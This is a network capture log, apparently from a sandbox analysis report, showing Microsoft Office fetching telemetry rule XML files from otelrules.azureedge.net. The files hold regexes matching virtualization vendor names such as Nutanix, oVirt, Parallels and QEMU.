2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-178bfbc474bwh9gmhC1NYCy3rs00000000n0000000000vbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-185f5d8b95c9mqtvhC1NYCghtc0000000aq0000000014n85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-185f5d8b95cqnkdjhC1NYCm8w80000000ahg00000000rgap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-178bfbc474bkvpdnhC1NYCuu2w00000000g00000000035m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-1777c6cb754j8gqphC1TEB5bf800000009yg00000000gse2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-185f5d8b95csd4bwhC1NYCq7dc0000000am000000000v7qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200528Z-185f5d8b95csd4bwhC1NYCq7dc0000000aqg000000006xt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-r1d97b99577n5jhbhC1TEB74vn000000098g00000000f3gt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-185f5d8b95crwqd8hC1NYCps680000000aqg00000000m56v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3369a0ea-601e-0002-63f2-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-r1d97b99577xdmfxhC1TEBqbhg00000000yg00000000e9x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200529Z-1777c6cb754vxwc9hC1TEBykgw00000009zg00000000rxu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-185f5d8b95csd4bwhC1NYCq7dc0000000ahg000000013g1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
